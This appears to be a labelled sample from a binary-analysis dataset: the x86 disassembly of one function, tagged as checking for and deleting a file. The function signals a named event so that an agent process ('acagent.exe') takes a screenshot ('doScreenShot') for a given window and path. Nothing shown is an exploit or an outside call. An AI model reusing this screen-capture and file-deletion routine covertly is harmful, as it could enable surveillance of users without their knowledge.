Function at 0x100022e2
Capabilities:
Check if file exists
Delete file

Disassembly:
push 0x884
mov eax, 0x1005c2c4
call fcn.10040d9a
mov eax, dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_OpenEventA]
push str.GlobalCB77B3FC_41AB_4eba_BB1C_1811DBAAAD74
push 0
mov edi, 0x100002
push edi
mov dword [ebp - 0x83c], eax
call esi
mov dword [ebp - 0x834], eax
test eax, eax
jne 0x100023f0
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call fcn.10044e90
mov ecx, dword [0x100747b4]
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
mov ebx, str.acagent.exe
call fcn.100270b2
lea eax, [ebp - 0x218]
push eax
push str.__s___beAgent
lea eax, [ebp - 0x830]
push 0x30c
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
lea eax, [ebp - 0x830]
push eax
call fcn.10027f28
mov dword [ebp - 0x838], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp eax, ebx
je 0x10002391
cmp eax, 0xffffffff
jne 0x100023b6
lea eax, [ebp - 0x830]
push eax
push 0x1006114c
call fcn.1002b256
pop ecx
pop ecx
lea eax, [ebp - 0x838]
call fcn.100011b0
xor eax, eax
jmp 0x10002569
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.GlobalCB77B3FC_41AB_4eba_BB1C_1811DBAAAD74
push 0
push edi
call esi
mov dword [ebp - 0x834], eax
test eax, eax
jne 0x100023d8
inc ebx
cmp ebx, 0xa
jl 0x100023b6
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x838]
call fcn.100011b0
cmp dword [ebp - 0x834], 0
je 0x100023af
push dword [ebp - 0x83c]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
lea eax, [ebp - 0x858]
call fcn.10030a94
sub esp, 0x18
mov dword [ebp - 4], 3
mov esi, esp
mov dword [ebp - 0x838], esp
push dword [ebp + 8]
call fcn.1002fa74
lea eax, [ebp - 0x858]
push eax
mov edx, str.hwnd
mov byte [ebp - 4], 4
call fcn.10030dc9
mov edi, eax
mov byte [ebp - 4], 3
call fcn.1002fdd8
push dword [ebp - 0x83c]
lea esi, [ebp - 0x874]
call fcn.100048d8
mov eax, esi
push eax
lea eax, [ebp - 0x890]
push eax
mov byte [ebp - 4], 5
call fcn.10001246
sub esp, 0x10
mov byte [ebp - 4], 6
mov edx, eax
mov esi, esp
mov dword [ebp - 0x838], esp
call fcn.1002fb85
lea eax, [ebp - 0x858]
push eax
mov edx, str.path
mov byte [ebp - 4], 7
call fcn.10030dc9
mov edi, eax
mov byte [ebp - 4], 6
call fcn.1002fdd8
push 0
push 1
lea ecx, [ebp - 0x890]
call fcn.10004d05
push 0
push 1
lea esi, [ebp - 0x874]
mov byte [ebp - 4], 3
call fcn.10004dfd
lea eax, [ebp - 0x858]
push eax
lea ecx, [ebp - 0x874]
call fcn.1003125d
push eax
lea ecx, [ebp - 0x890]
mov byte [ebp - 4], 8
call fcn.10001206
cmp dword [eax + 0x18], 8
pop ecx
jb 0x100024ef
mov eax, dword [eax + 4]
jmp 0x100024f2
add eax, 4
mov esi, eax
mov ebx, str.doScreenShot
mov edi, str.Softwareprojonepodlp_smpcache_
call fcn.10028c13
push 0
push 1
lea esi, [ebp - 0x890]
call fcn.10004dfd
push 0
push 1
lea ecx, [ebp - 0x874]
call fcn.10004d05
push dword [ebp - 0x834]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x3e8
push dword [ebp - 0x834]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x834]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x83c]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
or dword [ebp - 4], 0xffffffff
lea esi, [ebp - 0x858]
mov edi, eax
call fcn.1002fd55
mov eax, edi
call fcn.10040e1d
ret